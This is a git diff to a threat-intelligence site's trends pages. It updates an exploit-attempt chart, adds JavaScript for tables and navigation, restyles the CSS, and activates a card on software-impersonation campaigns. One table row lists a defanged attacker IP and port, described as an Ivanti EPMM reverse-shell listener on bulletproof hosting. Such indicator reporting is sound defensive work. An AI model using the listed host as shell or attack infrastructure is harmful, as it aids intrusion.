<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
|
||||
</div></td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-7" aria-label="Show details">›</button></td>
|
||||
<td><code>5[.]255[.]120[.]46:5555</code></td><td>5</td><td><span class="tag tag-apt">REVERSE SHELL</span></td><td>Ivanti EPMM bash reverse shell target (Apr 3)</td>
|
||||
</tr>
|
||||
<tr id="ep-st-7" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS60404 The Infrastructure Group B.V.</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">The Netherlands · Dronten</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Abuse-tolerant Dutch VPS; reverse shell listener on port 5555</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
|
||||
</div></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
@@ -806,16 +1025,33 @@ level: critical</div>
|
||||
</div><!-- /.trends-content -->
|
||||
</div><!-- /.trends-layout -->
|
||||
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/styles/atom-one-dark.min.css">
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/highlight.min.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"></script>
|
||||
<script>
|
||||
Chart.defaults.font.family = 'ui-monospace, monospace';
|
||||
Chart.defaults.font.size = 11;
|
||||
const dailyData = {
|
||||
labels: ['Mar 14','Mar 15','Mar 16','Mar 17','Mar 18','Mar 19','Mar 20','Mar 21',
|
||||
'Mar 22','Mar 23','Mar 24','Mar 25','Mar 26','Mar 27','Mar 28','Mar 29','Mar 30','Mar 31',
|
||||
'Apr 1','Apr 2','Apr 3','Apr 4','Apr 5','Apr 6','Apr 7','Apr 8','Apr 9','Apr 10','Apr 11','Apr 12','Apr 13'],
|
||||
labels: [
|
||||
'Mar 14','Mar 15','Mar 16','Mar 17','Mar 18','Mar 19','Mar 20','Mar 21',
|
||||
'Mar 22','Mar 23','Mar 24','Mar 25','Mar 26','Mar 27','Mar 28','Mar 29','Mar 30','Mar 31',
|
||||
'Apr 1','Apr 2','Apr 3','Apr 4','Apr 5','Apr 6','Apr 7','Apr 8','Apr 9','Apr 10','Apr 11','Apr 12','Apr 13',
|
||||
'','','','','',
|
||||
'Apr 19','Apr 20','Apr 21','Apr 22','Apr 23','Apr 24','Apr 25','Apr 26','Apr 27','Apr 28','Apr 29','Apr 30',
|
||||
'May 1','May 2','May 3','May 4','May 5','May 6','May 7','May 8','May 9','May 10','May 11','May 12','May 13','May 14','May 15','May 16','May 17','May 18','May 19*'
|
||||
],
|
||||
datasets: [{
|
||||
label: 'Exploit attempts',
|
||||
data: [46,493,483,1194,259,595,185,120,95,201,263,214,113,147,99,152,151,732,375,1807,1171,153,786,1862,643,127,1018,746,520,131,120],
|
||||
data: [
|
||||
46,493,483,1194,259,595,185,120,95,201,263,214,113,147,99,152,151,732,
|
||||
375,1807,1171,153,786,1862,643,127,1018,746,520,131,120,
|
||||
null,null,null,null,null,
|
||||
22,170,117,137,394,104,193,410,607,205,187,1086,
|
||||
286,395,330,233,240,558,312,159,137,74,111,74,281,118,140,79,75,101,3084
|
||||
],
|
||||
backgroundColor: function(ctx) {
|
||||
if (ctx.raw === null) return 'transparent';
|
||||
if (ctx.dataIndex >= 67) return 'rgba(107,114,128,0.5)'; // May 19 export artifact
|
||||
var v = ctx.raw;
|
||||
if (v > 1000) return 'rgba(218,54,51,0.8)';
|
||||
if (v > 500) return 'rgba(240,136,62,0.7)';
|
||||
@@ -838,11 +1074,19 @@ new Chart(document.getElementById('dailyChart'), {
|
||||
borderWidth: 1,
|
||||
titleFont: { family: 'ui-monospace, monospace', size: 11 },
|
||||
bodyFont: { size: 12 },
|
||||
callbacks: {
|
||||
label: function(ctx) {
|
||||
if (ctx.raw === null) return null;
|
||||
return ctx.dataIndex === 67
|
||||
? ctx.raw + ' (export cutoff — likely artifact)'
|
||||
: ctx.raw + ' attempts';
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
scales: {
|
||||
x: {
|
||||
ticks: { color: '#8b949e', font: { family: 'ui-monospace, monospace', size: 9 }, maxRotation: 45 },
|
||||
ticks: { color: '#8b949e', font: { family: 'ui-monospace, monospace', size: 9 }, maxRotation: 45, autoSkip: true, maxTicksLimit: 20 },
|
||||
grid: { display: false },
|
||||
},
|
||||
y: {
|
||||
@@ -897,7 +1141,30 @@ new Chart(document.getElementById('cb2DailyChart'), {
|
||||
}
|
||||
});
|
||||
|
||||
// Trends sidebar scroll spy
|
||||
// Infra table row expand toggles
|
||||
document.querySelectorAll('.cg-infra-toggle').forEach(function(btn) {
|
||||
btn.addEventListener('click', function() {
|
||||
var expanded = btn.getAttribute('aria-expanded') === 'true';
|
||||
btn.setAttribute('aria-expanded', String(!expanded));
|
||||
var chevron = btn.querySelector('.collapsible-chevron');
|
||||
if (chevron) chevron.style.transform = expanded ? '' : 'rotate(90deg)';
|
||||
var row = document.getElementById(btn.getAttribute('data-target'));
|
||||
if (row) row.classList.toggle('expanded', !expanded);
|
||||
});
|
||||
});
|
||||
|
||||
// Nav group toggle
|
||||
document.querySelectorAll('.nav-group-toggle').forEach(function(btn) {
|
||||
btn.addEventListener('click', function() {
|
||||
var submenu = document.getElementById(btn.getAttribute('data-target'));
|
||||
if (!submenu) return;
|
||||
var open = submenu.classList.toggle('open');
|
||||
btn.classList.toggle('open', open);
|
||||
btn.setAttribute('aria-expanded', String(open));
|
||||
});
|
||||
});
|
||||
|
||||
// Trends sidebar scroll spy (auto-expands nav group when subnav item is active)
|
||||
(function() {
|
||||
var navLinks = document.querySelectorAll('.trends-sidebar a');
|
||||
if (!navLinks.length) return;
|
||||
@@ -905,15 +1172,42 @@ new Chart(document.getElementById('cb2DailyChart'), {
|
||||
navLinks.forEach(function(link) { sectionIds.push(link.getAttribute('href').slice(1)); });
|
||||
var sections = sectionIds.map(function(id) { return document.getElementById(id); }).filter(Boolean);
|
||||
if (!sections.length) return;
|
||||
|
||||
function expandParentGroup(link) {
|
||||
var subnav = link.closest('.nav-subnav');
|
||||
if (!subnav) return;
|
||||
subnav.classList.add('open');
|
||||
var toggle = document.querySelector('[data-target="' + subnav.id + '"]');
|
||||
if (toggle) { toggle.classList.add('open'); toggle.setAttribute('aria-expanded', 'true'); }
|
||||
}
|
||||
|
||||
var observer = new IntersectionObserver(function(entries) {
|
||||
entries.forEach(function(entry) {
|
||||
if (entry.isIntersecting) {
|
||||
navLinks.forEach(function(link) {
|
||||
link.classList.toggle('active', link.getAttribute('href') === '#' + entry.target.id);
|
||||
var active = link.getAttribute('href') === '#' + entry.target.id;
|
||||
link.classList.toggle('active', active);
|
||||
if (active) expandParentGroup(link);
|
||||
});
|
||||
}
|
||||
});
|
||||
}, { rootMargin: '-20% 0px -70% 0px' });
|
||||
sections.forEach(function(section) { observer.observe(section); });
|
||||
})();
|
||||
|
||||
// Syntax highlighting
|
||||
(function() {
|
||||
if (typeof hljs === 'undefined') return;
|
||||
function detectLang(text) {
|
||||
if (/logsource:|condition:/.test(text)) return 'yaml';
|
||||
return 'bash';
|
||||
}
|
||||
document.querySelectorAll('.code-block').forEach(function(el) {
|
||||
var text = el.textContent || el.innerText;
|
||||
var lang = detectLang(text);
|
||||
el.textContent = text; // strip existing <span> markup
|
||||
el.classList.add('language-' + lang);
|
||||
hljs.highlightElement(el);
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
|
||||
+71
-106
@@ -9,60 +9,74 @@ permalink: /trends/
|
||||
/* ── Page layout ────────────────────────────────────────────────────────── */
|
||||
.tr-hero {
|
||||
position: relative;
|
||||
padding: 4rem 1.5rem 3rem;
|
||||
border-bottom: 1px solid var(--border);
|
||||
background: linear-gradient(160deg, var(--bg) 0%, var(--bg-card) 50%, var(--bg) 100%);
|
||||
padding: 5.5rem 1.5rem 5rem;
|
||||
background: var(--bg);
|
||||
overflow: hidden;
|
||||
text-align: center;
|
||||
}
|
||||
.tr-hero-inner { max-width: 720px; margin: 0 auto; }
|
||||
.tr-hero-inner { max-width: 680px; margin: 0 auto; }
|
||||
.tr-hero::before {
|
||||
content: "";
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(ellipse 60% 50% at 50% 0%, rgba(240,136,62,.12) 0%, transparent 70%);
|
||||
background: radial-gradient(ellipse 80% 55% at 50% -5%, rgba(240,136,62,.18) 0%, transparent 65%);
|
||||
pointer-events: none;
|
||||
}
|
||||
.tr-hero::after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
bottom: 0; left: 0; right: 0;
|
||||
height: 1px;
|
||||
background: linear-gradient(to right, transparent, var(--border) 20%, var(--border) 80%, transparent);
|
||||
}
|
||||
.tr-hero > * { position: relative; }
|
||||
.tr-hero h1 {
|
||||
font-size: 2.25rem;
|
||||
font-size: 2.75rem;
|
||||
font-weight: 800;
|
||||
color: var(--text);
|
||||
margin-bottom: .6rem;
|
||||
margin-bottom: .75rem;
|
||||
letter-spacing: -.02em;
|
||||
}
|
||||
.tr-hero p { font-size: 1rem; color: var(--text-muted); max-width: 640px; line-height: 1.7; }
|
||||
.tr-hero p { font-size: 1rem; color: var(--text-muted); max-width: 560px; line-height: 1.8; margin: 0 auto; }
|
||||
|
||||
/* ── What lives here ────────────────────────────────────────────────────── */
|
||||
.tr-pillars {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(220px, 1fr));
|
||||
gap: .75rem;
|
||||
margin: 2rem 0 3rem;
|
||||
margin: 2.5rem 0 2.75rem;
|
||||
}
|
||||
.tr-pillar {
|
||||
background: var(--bg-card);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 8px;
|
||||
padding: 1rem 1.1rem;
|
||||
padding: 1.1rem 1.25rem;
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
transition: border-color .15s, box-shadow .15s;
|
||||
}
|
||||
.tr-pillar:hover {
|
||||
border-color: rgba(240,136,62,0.35);
|
||||
box-shadow: 0 6px 20px rgba(0,0,0,0.3), inset 0 1px 0 rgba(255,255,255,0.06);
|
||||
}
|
||||
.tr-pillar-icon {
|
||||
width: 32px; height: 32px;
|
||||
width: 36px; height: 36px;
|
||||
display: flex; align-items: center; justify-content: center;
|
||||
border-radius: 6px;
|
||||
background: rgba(240,136,62,0.12);
|
||||
border-radius: 8px;
|
||||
background: linear-gradient(135deg, rgba(240,136,62,0.22) 0%, rgba(240,136,62,0.07) 100%);
|
||||
border: 1px solid rgba(240,136,62,0.2);
|
||||
color: var(--accent);
|
||||
margin-bottom: .6rem;
|
||||
margin-bottom: .75rem;
|
||||
}
|
||||
.tr-pillar-icon svg { width: 18px; height: 18px; }
|
||||
.tr-pillar-title {
|
||||
font-size: .8rem;
|
||||
font-size: .78rem;
|
||||
font-weight: 700;
|
||||
color: var(--text);
|
||||
text-transform: uppercase;
|
||||
letter-spacing: .05em;
|
||||
margin-bottom: .3rem;
|
||||
letter-spacing: .06em;
|
||||
margin-bottom: .35rem;
|
||||
}
|
||||
.tr-pillar-desc { font-size: .8rem; color: var(--text-muted); line-height: 1.55; }
|
||||
.tr-pillar-desc { font-size: .8rem; color: var(--text-muted); line-height: 1.6; }
|
||||
|
||||
/* ── Section header ─────────────────────────────────────────────────────── */
|
||||
.tr-section-header {
|
||||
@@ -72,17 +86,17 @@ permalink: /trends/
|
||||
margin-bottom: 1.25rem;
|
||||
}
|
||||
.tr-section-header h2 {
|
||||
font-size: 1rem;
|
||||
font-size: .72rem;
|
||||
font-weight: 700;
|
||||
color: var(--text);
|
||||
color: var(--text-muted);
|
||||
text-transform: uppercase;
|
||||
letter-spacing: .08em;
|
||||
letter-spacing: .12em;
|
||||
margin: 0;
|
||||
}
|
||||
.tr-section-header-line {
|
||||
flex: 1;
|
||||
height: 1px;
|
||||
background: var(--border);
|
||||
background: linear-gradient(to right, var(--border) 0%, transparent 100%);
|
||||
}
|
||||
|
||||
/* ── Analysis cards ─────────────────────────────────────────────────────── */
|
||||
@@ -101,12 +115,13 @@ permalink: /trends/
|
||||
padding: 1.25rem 1.4rem;
|
||||
text-decoration: none;
|
||||
color: inherit;
|
||||
transition: border-color .15s, box-shadow .15s, transform .15s;
|
||||
transition: border-color .2s, box-shadow .2s, transform .2s;
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
.tr-card:hover {
|
||||
border-color: var(--accent);
|
||||
box-shadow: 0 0 0 1px var(--accent), 0 8px 24px rgba(0,0,0,.15);
|
||||
transform: translateY(-1px);
|
||||
box-shadow: 0 0 0 1px var(--accent), 0 12px 32px rgba(0,0,0,.3), inset 0 1px 0 rgba(255,255,255,0.06);
|
||||
transform: translateY(-2px);
|
||||
text-decoration: none;
|
||||
color: inherit;
|
||||
}
|
||||
@@ -205,7 +220,7 @@ permalink: /trends/
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<div class="max-w-[1280px] mx-auto px-6 py-10">
|
||||
<div style="max-width:1100px;margin:0 auto;padding:2.5rem 1.5rem 4rem;">
|
||||
|
||||
<!-- What lives here -->
|
||||
<div class="tr-pillars">
|
||||
@@ -303,91 +318,41 @@ permalink: /trends/
|
||||
</div>
|
||||
</a>
|
||||
|
||||
<div class="tr-card stub">
|
||||
<a class="tr-card" href="{{ '/trends/masq-infra/' | relative_url }}">
|
||||
<div class="tr-card-header">
|
||||
<div class="tr-card-title">Software Impersonation Infrastructure</div>
|
||||
<span class="tr-card-badge soon">Under Construction</span>
|
||||
<span class="tr-card-badge live">Live Data</span>
|
||||
</div>
|
||||
<p class="tr-card-desc">
|
||||
Validated de-intel-pipeline hunts plus aggregate IOC pipeline data. Tracks favicon-pivot discovery,
|
||||
JS-gated EXE delivery (MROScanner OU cert), ClickFix install modals targeting AI developer tools,
|
||||
and post-launch domain squatting against Codex CLI and LM Studio.
|
||||
</p>
|
||||
<div class="tr-card-stats">
|
||||
{% if site.data.masq_infra_hunts %}
|
||||
<span class="tr-stat-chip"><strong>{{ site.data.masq_infra_hunts.meta.hunt_count }}</strong> validated hunts</span>
|
||||
<span class="tr-stat-chip"><strong>{{ site.data.masq_infra_hunts.meta.brands_targeted | size }}</strong> brands</span>
|
||||
<span class="tr-stat-chip"><strong>{{ site.data.masq_infra_hunts.meta.confirmed_delivery_count }}</strong> confirmed delivery</span>
|
||||
{% endif %}
|
||||
{% if site.data.masq_infra.meta.record_count %}
|
||||
<span class="tr-stat-chip"><strong>{{ site.data.masq_infra.meta.record_count }}</strong> pipeline records</span>
|
||||
{% endif %}
|
||||
{% if site.data.masq_infra_hunts.meta.date_range %}
|
||||
<span class="tr-stat-chip"><strong>{{ site.data.masq_infra_hunts.meta.date_range }}</strong></span>
|
||||
{% endif %}
|
||||
</div>
|
||||
<div style="display:flex;justify-content:center;"><pre style="font-size:.2rem;line-height:1.1;margin:.75rem 0 .5rem;opacity:.75;color:var(--text-muted);display:inline-block;">
|
||||
==-----=++***+-=-**#%%%%%%%%%#*
|
||||
=+****#--#**++=##*#%%%%%%%%%%%%%%%%%%+
|
||||
=+*########+-*##--=#%%%%%%%%%%%%%%%%%%%%%%
|
||||
=**############-=#*#%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
=+*############%%%#*%%%%%%%@@%%%%%%%%%%%%%%%%#
|
||||
+**###########%%%#+#%@@@%%%%%%@@@@@@@%%%%%%%%#
|
||||
+**########%%%%##**%@%%%%%%%%##%%%%%%%%%%%%%%*
|
||||
+***######%%%#%***%%%%##**++++++++***##%%%%%#
|
||||
+**######%%%#%**#%##**+++=====--===++*#%++%#
|
||||
+**######%%%%*##*+++++==---::::::-+++-=+#%*-
|
||||
+***######%%#%%#*+===-------==::::*+=+++-=%*- -
|
||||
+**######%%%%%#*+==----+*##*++::::::::::::%= -+*+*:
|
||||
+*######%%#####*+===-+*=-------::::---::::*= ==*---:
|
||||
**#####%%######+====------------::--=--:::* =-::+*=+++==+
|
||||
**####%%######*+===------==+++=-:-=:-#--::- *:-----=+-=+=-
|
||||
+*###%######%#+====-----=:...=+=-:++..:-:: .:------=+-
|
||||
=*##%%######%#=====----=-:***.:=-=%@*..-::: .:-----=+=*
|
||||
*#%##########======---=-+*@*::=-:**-::::::: -===-=+-++-::
|
||||
*+++++++++###=====--:::----:::::------:::::: =+= ++:++
|
||||
=++++++++++***===-----:::::::-=====----------- +- ++-+=:= :--
|
||||
++++++++++=++=====---------:-=++====---------=- +- -==--==+====-
|
||||
+==+++++++==========--------=++++++====------== -+++***++===:
|
||||
=+==++++=++====++++==+++++===+++***++++-::--== -+=***++++++==-:
|
||||
+===++++=+====++++++++#+++=========-::::---=- =++**++++++++++=-:
|
||||
+====++++=+==++++==-=*@#+=-----------=----- +***+++++++++++===:
|
||||
=+++++++++==++++=--==+@@@@@@@@@@@@@#-:--- ****++++++++++++===-
|
||||
+==++++======+##%%%%%@%%#-:--- :=*#***+++++++++++++==
|
||||
=+++++=======-=+++=---:-- +**+++**#****++++++++*--
|
||||
=+++++===========---- +***+++*#**********=:--=
|
||||
**#*++++++++=+== =**+++*###****+=+++=:
|
||||
+****#######*+==- -==+*****+*+++ -=
|
||||
====+********++=========---- -======+***+++
|
||||
-=====++++++*****++++++================-= :------===++***+
|
||||
----==+++++++***+*******+++++++++++===========-:::::----:---===
|
||||
-======**********+*******+++++++++++++++++++=+--::::---------==
|
||||
-=======******************++++++++++****+++++++=--------------
|
||||
-======++******************++*+++*************++++======----:
|
||||
-===++++++****###*********++*+*****###*********%+===++=====
|
||||
-==++++++ **#************++++++++***####* =**+
|
||||
-==+++++= -*******++++++++++++*****-
|
||||
:===+++++ ******++++++++=++++++***#
|
||||
*#=+++++**#= ******++++++=====+++++++*
|
||||
+********###*+ ******+++++=========++++
|
||||
+*##**#####* *****+++++==========++++
|
||||
=#########* *****++++++==========+++
|
||||
+**########*- +***++++++============+=
|
||||
-+*******###*+- *****+++++==============
|
||||
=++*********#*+ +****++++++===========-=
|
||||
-****#*****#**+ +****+++++++=========++=
|
||||
***************= *****+++++++====+=+++=+++
|
||||
=*************+++ =++++++=======+==+=====+:+=
|
||||
-*************+= +*###*******++++*#====-=+*=
|
||||
=*********= =****###+*+*+++*#*======**#
|
||||
=**%###%##+**+*##%=+====#**++++++++******+++
|
||||
+***###*+=#+*+*###%*+++%################****+
|
||||
-==++#%%%#-*%%%%%%%%%%%%###%##############******
|
||||
+*+===++*#%%%%%%%%%%%%####%###%#%%##%#%%%####****
|
||||
=*++==*#%%#%###############%%%%%%%%%%%%%#%####***
|
||||
###%%#%##########*###%%#%%%%%%%%%%%######***+
|
||||
*##%%##########***#%%%%%%%%%%%%%#%%%#####***+
|
||||
===++- #%#%%######******#%#% #%%%######**+
|
||||
+=++=*#*= #%#########***#** #%%######**#
|
||||
+++++*******+- #%###########+*** *#%######*#+-
|
||||
++++*******++*#%%* #%########****** *%%%###+======
|
||||
=+=*****+*++*######*=%%########***** ****+**+++====
|
||||
=+++*****#*+*+%######%%%#########****# *##******+*=*#+=**#-::----:
|
||||
=+=******#****+%#######%%%*######****** +#*####*++++===++=+++++====-
|
||||
+++*******#####*%%%%%###%%%######****** =****++++++++++++**+++++++-:
|
||||
++++******+######*%%%%%%%%%%%%%####***** =#**+**********#####*+-----::
|
||||
+++**+++##*##%%***###%%%%%%%%%%%####***+ **+=-------=====++++==+*#
|
||||
+++#*++***%%%%* ##%%%%%%%####** =**++====**********++
|
||||
*+##**++****+ +#%##### +*+++++++
|
||||
*+##******#*
|
||||
+*###***##
|
||||
++*+*</pre></div>
|
||||
<div class="tr-card-footer">
|
||||
<span>Under construction</span>
|
||||
<span>Updated {% if site.data.masq_infra_hunts %}{{ site.data.masq_infra_hunts.meta.generated }}{% else %}{{ site.data.masq_infra.meta.last_updated | default: "—" }}{% endif %}</span>
|
||||
<span class="tr-card-cta">
|
||||
View analysis
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 24 24"
|
||||
fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round"
|
||||
stroke-linejoin="round" aria-hidden="true">
|
||||
<polyline points="9 18 15 12 9 6"/>
|
||||
</svg>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</a>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
Reference in New Issue
Block a user